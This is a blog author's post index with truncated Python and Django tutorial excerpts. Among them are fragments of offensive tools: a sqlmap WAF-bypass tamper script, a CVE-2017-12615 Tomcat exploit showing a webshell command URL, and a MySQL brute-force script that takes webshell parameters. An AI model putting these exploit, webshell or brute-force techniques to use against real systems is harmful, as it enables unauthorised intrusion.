python
小鱼儿waha
抓紧 留给自己的时间不多了
展开
-
django上传图片功能
1、实现后台管理页面上传功能2、实现自定义上传文件功能后台管理页面上传功能1、新建模型类class PicTest(models.Model): goods_pic = models.ImageField(upload_to='booktest')2、创建相应的保存文件夹settings.py目录中创建文件夹,用于存储上传文件,并且在static目录下创建一个media的...原创 2019-10-05 14:29:01 · 1046 阅读 · 0 评论 -
python 学习Django第一天
安装虚拟环境virtualenv:1、安装命令:pip install virtualenvpip install virtualenvwrapper-win2、创建环境:mkvirtualenv 1-day # 创建虚拟环境结果:结果:C:\Users\dell\Desktop\ALL\python\django>mkvirtualenv 1-dayC:\Users\...原创 2019-09-26 22:29:24 · 320 阅读 · 0 评论 -
python 模块调用学习
系统模块调用比如调用time模块中的time方法我们可以有两种方法:import timetime.time()from time import timetime()上面两个写法的最终目的都是为了获取并打印当前时间,方法一里面是直接引入了整个time模块,在用的时候需要加入模块名再进行其下面方法的引用time.time()。方法二中通过引入time模块,导入其下面的time方...原创 2019-09-23 21:49:59 · 226 阅读 · 0 评论 -
python 邮箱发送功能的实现
# coding=utf-8import smtplibfrom email.message import EmailMessagedef to_Send_sql(): smtp_server = 'smtp.qq.com' from_addr = 'xxxxxx@qq.com' password = 'xxxxxx' to_addr = 'xxxxxxx...原创 2019-09-22 21:20:59 · 217 阅读 · 0 评论 -
python socket通信 多线程实现
服务端# coding=utf-8import threadingimport socketsocket_list = []s = socket.socket()s.bind(('172.30.213.238', 3000))s.listen()def read_from_client(s): try: return s.recv(1024).d...原创 2019-09-21 21:29:36 · 3228 阅读 · 1 评论 -
python 使用socket通信
服务端的创建:# coding=utf-8import socket# 创建socket对象s = socket.socket()# 将socket绑定到本机IP地址和端口s.bind(('172.30.213.238', 3000))# 服务端开始监听来自客户端的连接s.listen()while True: c, addr = s.accept() pr...原创 2019-09-21 20:05:39 · 210 阅读 · 0 评论 -
python 选择排序
# coding=utf-8a = [10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0]for i in range(len(a)): temp = a[i] for j in range(i+1, len(a)): if temp < a[j]: temp = a[j] a[i] = temppri...原创 2019-09-21 17:54:53 · 91 阅读 · 0 评论 -
python 插入排序
# coding=utf-8# 插入排序的实现pythondef insertion_sort(arr): # 第一层for表示循环插入的遍数 for i in range(1, len(arr)): # 设置当前需要插入的元素 current = arr[i] # 与当前元素比较的比较元素 pre_inde...原创 2019-09-21 17:30:53 · 114 阅读 · 0 评论 -
python冒泡排序
# coding=utf-8a = [1, 8, 9, 6, 11, 3, 8, 2, 333]for i in range(len(a)-1): for j in range(i+1, len(a), 1): if(a[i] > a[j]): a[j], a[i] = a[i], a[j]print(a)原创 2019-09-21 16:23:50 · 121 阅读 · 0 评论 -
python django MVT的交互案例的简单实现
https://blog.csdn.net/q1352483315/article/details/101477527根据这个自己所学的 再实现一个简单的交互案例实现的内容:查找相应图书中对应的人物信息第一步:实现显示图书表中的数据在视图文件中导入:from booktest.models import BookInfo定义to_book函数,通过模型类操作数据库中相应的数据:de...原创 2019-09-29 15:33:03 · 230 阅读 · 0 评论 -
django配置使用mysql数据库
配置使用mysql数据库1.配置setting.py文件DATABASES = { 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 'ENGINE': 'django.db.ba...原创 2019-09-29 16:41:32 · 306 阅读 · 0 评论 -
django 中间件
反正感觉有点复杂 硬着头皮吧!!!中间件函数是django框架给我们预留的函数接口,让我们可以干预请求和应答的过程。想要实现的需求:指定某个ip无法访问自己搭建的站点使用request对象的META属性:request.META['REMOTE_ADDR']通过装饰器去实现:Block_ip_lists = ['172.30.212.210']def to_block(func...原创 2019-10-04 20:51:40 · 148 阅读 · 0 评论 -
django 反向解析
反向解析: 当某一个url配置的地址发生变化时,页面上使用反向解析生成地址的位置不需要发生变化。比如:我们在视图函数中定义的index视图函数为如下:def index(request): return render(request, 'booktest/index.html')我们的urls.py路由文件定义如下:url(r'^index$', views.index),现...原创 2019-10-04 18:20:28 · 159 阅读 · 0 评论 -
django 验证码的应用
验证码的应用:1、减少暴力破解的概率 从而可能减少服务器后端的压力,节省资源1、 模块Pillow我们直接安装pip install Pillow(1-day) C:\Users\dell\Desktop\ALL\python\django\test4>pip install PillowCollecting Pillow Downloading https://files....原创 2019-10-04 15:50:25 · 267 阅读 · 0 评论 -
django 模板
模板的学习使用模板文件:流程: 1.加载模板文件 2.定义模板上下文 3.模板渲染1.加载模板文件:我们需要导入loader类,通过这个来加载我们的模板文件from django.template import loader2.定义模板上下文:我们需要导入RequestContext类来定义模板上下文from django.template import Reques...原创 2019-10-03 16:02:36 · 168 阅读 · 0 评论 -
django 静态文件的设置引入
1、工程目录的文件夹创建:(1-day) C:\Users\dell\Desktop\ALL\python\django\test3>tree卷 OS 的文件夹 PATH 列表卷序列号为 6AEE-CCADC:.├─.idea├─booktest│ ├─migrations│ │ └─__pycache__│ └─__pycache__├─static│ ├─...原创 2019-10-01 18:25:40 · 288 阅读 · 0 评论 -
django 两种登陆案例的简单实现
login.html模板文件定义如下:<form action="/login_check" method="post"> <label>用户名:<input type="text" name="username"></label><br> <label>用户名:<input type="passwor...原创 2019-10-01 15:32:39 · 327 阅读 · 0 评论 -
django 模型管理器对象
正常的实例化一个模型bookinfo类from booktest.models import BookInfo>>> BookInfo.objects.all()[<BookInfo: BookInfo object>, <BookInfo: BookInfo object>]这里objects是一个django自动生成的模型管理器对象,我们同样...原创 2019-10-01 10:55:12 · 238 阅读 · 0 评论 -
django 自关联
表内自关联:自关联是一种特殊的一对多的关系。定义的模型类:class AreaInfo(models.Model): atitle = models.CharField(max_length=20) # 关系属性 aparent_id = models.ForeignKey('self', null=True, blank=True)定义的视图函数:def to...原创 2019-09-30 21:41:06 · 285 阅读 · 0 评论 -
django 页面重定向实现的方法
自己现在已知在django中封装好的就只有两种方法1、 导入类from django.http import HttpResponseRedirect用法:return HttpResponseRedirect('/index')2、 导入函数from django.shortcuts import redirect用法:return redirect('/index')这个redi...原创 2019-09-29 19:24:54 · 815 阅读 · 0 评论 -
python并发编程(并发与并行,同步和异步,阻塞与非阻塞)
哎我好难啊 学玩安全 回头之前刚学的代码又全忘记了1. 并发 & 并行:并发: 在操作系统中,是指一个时间段中有几个程序都处于已启动运行到运行完毕之间,且这几个程序都是在同一个处理机上运行,但任一个时刻点上只有一个程序在处理机上运行。简言之,是指系统具有处理多个任务的能力。并行: 当系统有一个以上CPU时,则线程的操作有可能非并发。当一个CPU执行一个线程时,另一个CPU可以执行...原创 2019-09-26 22:34:55 · 508 阅读 · 0 评论 -
python lambda表达式
只要学不死 就无止境的去日站和学习lambda的描述和语法:lambda的一般形式是关键字lambda后面跟一个或多个参数,紧跟一个冒号,以后是一个表达式。lambda是一个表达式而不是一个语句。它能够出现在Python语法不允许def出现的地方。作为表达式,lambda返回一个值(即一个新的函数)。lambda用来编写简单的函数,而def用来处理更强大的任务。语法:lambda ...原创 2019-09-06 18:02:54 · 145 阅读 · 0 评论 -
python的__init__和__new__和__class__和方法重写和调用父类的学习
python中所有类默认继承object类。而object类提供了了很多原始的内建属性和方法,所以用户自定义的类在Python中也会继承这些内建属性。查看这些内建属性:代码:# coding=utf-8class a(object): passprint(dir(a))结果:__init__和__new__方法的学习:1.__init__方法使用与功能:(1...原创 2019-09-04 12:09:13 · 453 阅读 · 0 评论 -
一个tamper脚本
这个脚本的编写是有关于我博客里面的一篇过狗文章 大家可以参考下https://blog.csdn.net/q1352483315/article/details/90175002#!/usr/bin/env python# author:cbd666"""Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)Se...原创 2019-05-13 16:47:27 · 815 阅读 · 0 评论 -
递归寻找文件
import osdef findstrr(path, st): for x in os.listdir(path): if os.path.isdir(x): new_path = os.path.join(path, x) findstrr(new_path, st) elif st in os.pa...原创 2019-05-21 18:11:57 · 260 阅读 · 0 评论 -
python super()函数
1.如果子类(Puple)继承父类(Person)不做初始化,那么会自动继承父类(Person)属性name。2.如果子类(Puple_Init)继承父类(Person)做了初始化,且不调用super初始化父类构造函数,那么子类(Puple_Init)不会自动继承父类的属性(name)。3.如果子类(Puple_super)继承父类(Person)做了初始化,且调用了super初始化了父类的构...原创 2019-05-21 15:25:38 · 3250 阅读 · 0 评论 -
[CVE-2017-12615]利用脚本
# coding:utf-8# author:cbd666import requestsimport sys'''Usege:python3 CVE-2017-12615.py http://127.0.0.1/Shell:http://120.79.66.58:8080/写入的文件?pwd=cbd&cmd=whoami'''def attack(url): ...原创 2019-05-07 16:40:57 · 614 阅读 · 0 评论 -
一个简单的python3批量爆破mysql
# coding:utf-8import pymysqlimport threadingimport timeimport IPyimport subprocessdef mysql_connect1(ip,shell_url,shell_content): #判断是否存活 if not(ping_ip(ip)): return #尝试数据库...原创 2019-04-13 09:51:50 · 2005 阅读 · 0 评论 -
python3的url采集的多线程
跑是能跑 但是不知道为什么不能保存之类的url 希望大佬帮忙看下 如果可以的话 告知我下。。。# coding:utf-8# ADEXXimport requestsfrom lxml import etreefrom queue import Queuefrom urllib import parseimport threadingimport reclass Prod...原创 2019-03-27 15:34:25 · 655 阅读 · 0 评论 -
闭包
闭包在一个外函数中定义了一个内函数,内函数里运用了外函数的临时变量,并且外函数的返回值是内函数的引用。这样就构成了一个闭包# coding=utf-8def line_1(k, b): def line_2(x): print(k*x+b) return line_2q = line_1(2, 3)q(1)就这么一段代码 我自己讲下 自己的理解吧1.首先def一个l...原创 2019-05-27 22:38:38 · 135 阅读 · 0 评论 -
装饰器
通用的装饰器def fun_c(func): print('have decro') def ppq(*args, **kwargs): print('---1---') print('---2---') return func(*args, **kwargs) return ppq@fun_c # test1 = fun_c(test1)def test1(num,...原创 2019-05-28 15:18:15 · 91 阅读 · 0 评论 -
python的魔术方法和魔术常量
魔术方法1、__init__: 通过此方法我们可以定义一个对象的初始操作原创 2019-09-03 22:01:24 · 325 阅读 · 0 评论 -
python3中random模块的学习
1.random.random()#用于生成一个0到1的随机浮点数:0<= n < 1.0代码:# coding=utf-8import randomprint(random.random())结果2.random.uniform(a,b)#用于生成一个指定范围内的随机符点数,两个参数其中一个是上限,一个是下限。如果a > b,则生成的随机数n: a ...原创 2019-09-03 19:13:53 · 193 阅读 · 0 评论 -
python私有方法和私有属性
一步一步来,你会发现——你正在逐渐变成你想要变成的那个模样~1、私有方法和私有属性:Python默认的成员函数和成员变量都是公开的,Python 私有属性和方法没有类似别的语言的public,private等关键词来修饰。在python中定义私有变量只需要在变量名或函数名前加上 两个"_"(下划线),那么这个函数或变量就会为私有的注意:当使用下划线来声明该方法为私有方法,那么不能在类的...原创 2019-09-03 12:55:07 · 163 阅读 · 0 评论 -
python线程池的原理和实现
线程池传统多线程问题? 传统多线程方案会使用“即时创建, 即时销毁”的策略。尽管与创建进程相比,创建线程的时间已经大大的缩短,但是如果提交给线程的任务是执行时间较短,而且执行次数极其频繁,那么服务器将处于不停的创建线程,销毁线程的状态。 一个线程的运行时间可以分为3部分:线程的启动时间、线程体的运行时间和线程的销毁时间。在多线程处理的情景中,如果线程不能被重用,就意味着每次创建都需要经过...原创 2019-09-03 12:48:57 · 1253 阅读 · 0 评论 -
python多线程的原理和实现
1、线程基本概念1.1 线程是什么?线程是指进程内的一个执行单元,也是进程内的可调度实体.与进程的区别:(1) 地址空间:进程内的一个执行单元;进程至少有一个线程;它们共享进程的地址空间;而进程有自己独立的地址空间;(2) 资源拥有:进程是资源分配和拥有的单位,同一个进程内的线程共享进程的资源(3) 线程是处理器调度的基本单位,但进程不是.(4) 二者均可并发执行.简而言之,一个程...原创 2019-09-02 19:56:28 · 1426 阅读 · 0 评论 -
Python的命令行参数解析模块argparse
模块:argparse使用方法:import argparse原创 2019-09-01 02:06:39 · 146 阅读 · 0 评论 -
Python json库的学习
使用方法:import jsonjson.dumps将 Python 对象编码成 JSON 字符串json.dump() 将python数据对象以JSON格式数据流的形式写入到文件json.loads将已编码的 JSON 字符串解码为 Python 对象json.load() 解析包含JSON数据的文件为python对象...原创 2019-08-25 16:38:54 · 147 阅读 · 0 评论 -
Masscan扫描后的IP端口整合
看的懂得自然看得懂哈 虽然有点鸡肋 做个练习#coding=utf-8import reimport time#import Queue#1、正则提取scan.txt中的ip放入一个All_Clear_Ip的数组然后再进行去重(这个数组中的ip是不重复的)# All_Clear_Ip['1.1.1.1','2.2.2.2','3.3.3.3']#2、然后把每行提取出来整理...原创 2019-07-29 14:30:53 · 2699 阅读 · 0 评论 -
python3批量查询域名权重、标题
自己写了个 供大家参考#coding=utf-8#author=cbd666import progressbarimport argparseimport requestsimport redef main(): # 指定-r参数 parser = argparse.ArgumentParser() parser.add_argument('-r', des...原创 2019-07-10 14:16:44 · 1102 阅读 · 0 评论